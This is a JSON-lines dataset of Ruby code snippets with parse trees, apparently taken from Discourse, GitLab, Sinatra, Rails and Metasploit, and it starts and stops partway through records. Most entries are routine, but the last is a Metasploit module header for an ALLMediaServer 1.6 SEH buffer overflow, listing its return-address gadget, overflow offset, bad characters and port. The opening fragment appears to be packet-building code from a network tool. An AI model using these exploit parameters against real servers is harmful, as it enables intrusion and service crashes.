ack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dnsfile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"payload=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[255]}]}]},\"to_s\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"reqns\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"classns\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"payload=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[255]}]}]},\"to_s\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dns_req\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dns_class\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dnssec\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dnssecpkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DnsAddRr\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"additionalRR=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"payload=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dnssecpkt\"]},\"to_binary_s\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"to_binary_s\"]}]}]}","id":"d2557ff6-7f28-4346-b1a8-ff0112e3ae49"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/poll/db/migrate/20180820073549_create_polls_tables.rb","start_line":4,"raw_source":"def change\n    create_table :polls do |t|\n      t.references :post, index: true, foreign_key: true\n      t.string :name, null: false, default: \"poll\"\n      t.datetime :close_at\n      t.integer :type, null: false, default: 0\n      t.integer :status, null: false, default: 0\n      t.integer :results, null: false, default: 0\n      t.integer :visibility, null: false, default: 0\n      t.integer :min\n      t.integer :max\n      t.integer :step\n      t.integer :anonymous_voters\n      t.timestamps\n    end\n\n    add_index :polls, %i[post_id name], unique: true\n\n    create_table :poll_options do |t|\n      t.references :poll, index: true, foreign_key: true\n      t.string :digest, null: false\n      t.text :html, null: false\n      t.integer :anonymous_votes\n      t.timestamps\n    end\n\n    add_index :poll_options, %i[poll_id digest], unique: true\n\n    create_table :poll_votes, id: false do |t|\n      t.references :poll, foreign_key: true\n      t.references :poll_option, foreign_key: true\n      t.references :user, foreign_key: true\n      t.timestamps\n    end\n\n    add_index :poll_votes, %i[poll_id poll_option_id user_id], unique: true\n  end","complexity_score":34.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"polls\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"poll\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"close_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"results\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"min\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"max\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"step\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"anonymous_voters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"polls\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"poll_options\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"poll\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"anonymous_votes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"poll_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"poll_id\"]},{\"type\":\"sym\",\"children\":[\"digest\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"poll_votes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"poll\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"poll_option\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"poll_votes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"poll_id\"]},{\"type\":\"sym\",\"children\":[\"poll_option_id\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"c2c92f22-d45d-4029-8d73-a1e7993d66a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/kubectl/client.rb","start_line":85,"raw_source":"def pod_logs(pods, since: \"1h\", containers: \"default\")\n          pod_data = JSON.parse(all_pods)[\"items\"]\n            .select { |pod| pods.empty? || pods.any? { |p| pod.dig(\"metadata\", \"name\").include?(p) } }\n            .each_with_object({}) { |pod, hash| hash[pod.dig(\"metadata\", \"name\")] = pod.slice(\"metadata\", \"spec\") }\n\n          if pod_data.empty?\n            raise Error, \"No pods matched: #{pods.join(', ')}\" unless pods.empty?\n\n            raise Error, \"No pods found in namespace '#{namespace}'\"\n          end\n\n          log(\"Fetching logs for pods '#{pod_data.keys.join(', ')}'\", :info)\n          pod_data.to_h do |pod_name, data|\n            default_container = data.dig(\"spec\", \"containers\").first[\"name\"]\n            [\n              pod_name,\n              run_in_namespace(\"logs\", \"pod/#{pod_name}\", args: [\n                \"--since=#{since}\",\n                \"--prefix=true\",\n                containers == \"default\" ? \"--container=#{default_container}\" : \"--all-containers=true\"\n              ])\n            ]\n          end\n        end","complexity_score":47.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pod_logs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pods\"]},{\"type\":\"kwoptarg\",\"children\":[\"since\",{\"type\":\"str\",\"children\":[\"1h\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"containers\",{\"type\":\"str\",\"children\":[\"default\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pod_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"all_pods\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"items\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pod\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pods\"]},\"empty?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pods\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod\"]},\"dig\",{\"type\":\"str\",\"children\":[\"metadata\"]},{\"type\":\"str\",\"children\":[\"name\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pod\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod\"]},\"dig\",{\"type\":\"str\",\"children\":[\"metadata\"]},{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod\"]},\"slice\",{\"type\":\"str\",\"children\":[\"metadata\"]},{\"type\":\"str\",\"children\":[\"spec\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod_data\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pods\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No pods matched: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pods\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No pods found in namespace '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fetching logs for pods '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod_data\"]},\"keys\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod_data\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pod_name\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_container\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"spec\"]},{\"type\":\"str\",\"children\":[\"containers\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod_name\"]},{\"type\":\"send\",\"children\":[null,\"run_in_namespace\",{\"type\":\"str\",\"children\":[\"logs\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pod/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pod_name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--since=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"since\"]}]}]},{\"type\":\"str\",\"children\":[\"--prefix=true\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"containers\"]},\"==\",{\"type\":\"str\",\"children\":[\"default\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--container=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_container\"]}]}]},{\"type\":\"str\",\"children\":[\"--all-containers=true\"]}]}]}]}]}]}]}]}]}]}]}","id":"2594b528-f174-4841-a7f4-e0411681cc40"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/respond_with.rb","start_line":201,"raw_source":"def remap_extensions\n      ext_map.clear\n      Rack::Mime::MIME_TYPES.each { |e, t| ext_map[t] << e[1..].to_sym }\n      ext_map['text/javascript'] << 'js'\n      ext_map['text/xml'] << 'xml'\n    end","complexity_score":18.53,"ast_json":"{\"type\":\"def\",\"children\":[\"remap_extensions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_map\"]},\"clear\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Mime\"]},\"MIME_TYPES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]},{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"t\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]},\"to_sym\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"text/javascript\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"js\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_map\"]},\"[]\",{\"type\":\"str\",\"children\":[\"text/xml\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"xml\"]}]}]}]}","id":"ca6bd339-0180-475c-b21b-814b730c384d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/backup_metadata.rb","start_line":10,"raw_source":"def self.last_restore_date\n    value = value_for(LAST_RESTORE_DATE)\n    value.present? ? Time.zone.parse(value) : nil\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last_restore_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"value_for\",{\"type\":\"const\",\"children\":[null,\"LAST_RESTORE_DATE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"5d9b15b8-ff6c-48a1-8728-6b9355d1ad50"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/runner_test.rb","start_line":45,"raw_source":"def test_should_run_file\n      app_file \"bin/count_users.rb\", <<-SCRIPT\n      puts User.count\n      SCRIPT\n\n      assert_match \"42\", rails(\"runner\", \"bin/count_users.rb\")\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_run_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"bin/count_users.rb\"]},{\"type\":\"str\",\"children\":[\"      puts User.count\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"42\"]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"runner\"]},{\"type\":\"str\",\"children\":[\"bin/count_users.rb\"]}]}]}]}]}","id":"17467ce4-11d1-4c5a-9389-a229f2ef0893"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/cve_2022_28381_allmediaserver_bof.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'ALLMediaServer 1.6 SEH Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow leading to a SEH handler overwrite\n          in ALLMediaServer 1.6. The vulnerability is caused due to a boundary error\n          within the handling of a HTTP request. Note that this exploit will only work\n          against x86 or WoW64 targets, x64 is not supported at this time.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Hejap Zairy Al-Sharif', # Aka @Matrix07ksa. Remote exploit and Metasploit module\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process'\n        },\n        'Platform' => 'win',\n        'Arch' => [ARCH_X86],\n        'Payload' => {\n          'BadChars' => '\\x00\\x0a\\x0d\\xff'\n        },\n        'Targets' => [\n          [\n            'ALLMediaServer 1.6',\n            {\n              'Ret' => 0x0040590B, # POP ESI # POP EBX # RET\n              'Offset' => 1072\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2022-04-01',\n        'DefaultTarget' => 0,\n        'References' => [\n          ['CVE', '2022-28381'],\n          ['URL', 'https://github.com/Matrix07ksa/ALLMediaServer-1.6-Buffer-Overflow']\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN], # If this fails the service will go down and will not restart.\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options([Opt::RPORT(888)])\n  end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ALLMediaServer 1.6 SEH Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow leading to a SEH handler overwrite\\n\"]},{\"type\":\"str\",\"children\":[\"          in ALLMediaServer 1.6. The vulnerability is caused due to a boundary error\\n\"]},{\"type\":\"str\",\"children\":[\"          within the handling of a HTTP request. Note that this exploit will only work\\n\"]},{\"type\":\"str\",\"children\":[\"          against x86 or WoW64 targets, x64 is not supported at this time.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hejap Zairy Al-Sharif\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\\\x00\\\\x0a\\\\x0d\\\\xff\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ALLMediaServer 1.6\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4217099]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[1072]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-04-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-28381\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/Matrix07ksa/ALLMediaServer-1.6-Buffer-Overflow\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"c